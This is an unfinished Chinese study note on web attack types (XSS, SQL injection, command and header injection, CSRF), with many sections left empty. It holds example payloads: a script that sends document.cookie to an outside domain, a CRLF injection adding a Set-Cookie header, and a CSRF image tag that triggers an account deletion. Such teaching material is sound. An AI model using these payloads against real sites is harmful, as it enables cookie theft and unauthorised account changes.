对 web 的攻击可分为两大类:
主动攻击该类攻击是攻击者直接对 web 服务器上的资源进行攻击,最具代表性的是 SQL 注入攻击和 OS 攻击及 DDOS 攻击。
被动攻击攻击者不直接对服务器发起攻击,事先设置好雷区,等待雷区被触发,具有代表性的有跨站脚本攻击和跨站点请求伪造。
因输出值转义不完全引起的安全漏洞
xss 跨站脚本攻击
攻
Cross SiteScript,跨站脚本攻击,又称 css 攻击。
其核心思路就是将恶意 html 代码注入到目标网站中(如 <script type=”text/javascript”>alert(‘boom!’)</script>),所以经常发生在动态生成 html 的场景下。
攻击成功后可以做的事情有很多,比如将 cookie 发送出去,URL 跳转等。
只要有用户输入的地方,数据存储时没有对其进行处理,用到改数据的页面都有可能受到 XSS 攻击(对于 script 的攻击方式,数据以直接拍到页面的方式才会使攻击生效,ajax 请求到数据再通过 mvvm 框架渲染的方式是不会触发脚本的执行的。但,XSS 攻击不仅仅局限于 script)
XSS 的危害
利用虚假表单骗取用户个人信息
窃取用户 cookie
拿微博举例,如果某人发了一段包含 <script>window.open(“www.aa.com?param=”+document.cookie)</script> 的微博,且 XSS 攻击成功,那么看到该微博的人都会受到攻击,其 cookie 被发送至 www.aa.com
防
对用户输入的 <>”””/& 等字符进行转码
对关键 cookie 进行 http-only 设置,这样 js 就失去了访问 cookie 的能力
SQL 注入攻击
攻
在 web 应用对数据库的查询,添加,删除等操作环节,请求参数参与 SQL 语句生成,对于调用 SQL 语句的拼接环节存在疏忽,产生 SQL 注入攻击。
危害
非法查看无权限数据
删除数据
举例:todo
防
todo
OS 命令注入攻击
攻
web 应用可以通过 shell 调用系统命令,因此如果在调用时存在疏忽,就有可能执行了不被期望的 OS 命令。
危害
防
http 首部注入攻击
%0D%0A 代表 HTTP 报文中的换行符。比如在响应头中的 Location:www.a.com/aa?id=999 添加为 Location:www.a.com/aa?id=999%0D%0ASet-Cookie: xxxx,那么就会多出一个 set-cookie 响应头。此外,连续出现两次 %0D%0 标志着 http 头部与主体的分离,同样可以利用这个来修改响应主体。
攻
指的是攻击者通过在响应头部字段中插入换行,添加任意响应首部的一种攻击
危害
设置任意 cookie(利用 Set-Cookie 头)
重定向至任意 url(location 头)(如果 status 为 200 但是有 location 会怎么样)
防
因设置和设计上的缺陷引发的安全漏洞
强制浏览
攻
危害
防
不当的错误消息处理
攻
危害
防
开放重定向
攻
危害
防
因会话管理疏忽引起的安全漏洞
会话劫持
攻
通过手段拿到用户的会话 id 并以此 id 伪装为用户 de 攻击。
危害
防
会话固定攻击
攻
危害
防
跨站点请求伪造 CSRF(cross-site request Forgery)
攻
指攻击者通过事先设定好的陷阱,在用户不知道的情况下发起对某些站点的请求,从而达到修改用户在目标网站里的数据的攻击。如在 a.com 里有个 <img src=”b.com/account/delete” /> 的标签,此时用户访问 a 站点时就向 b 发起了 delete 请求,假设该接口就是 b 站点的删除帐号 api,且 b 用户恰恰刚访问了 b 站点不久,还存有未过期的 cookie,那就惨了。
危害
修改用户在目标站点的数据。
—
防
保护好 cookie
服务器判断 referer
其他安全漏洞
密码破解
攻
危害
防
点击劫持
攻
危害
防
DoS 攻击
攻
危害
防
后门程序
攻
危害
防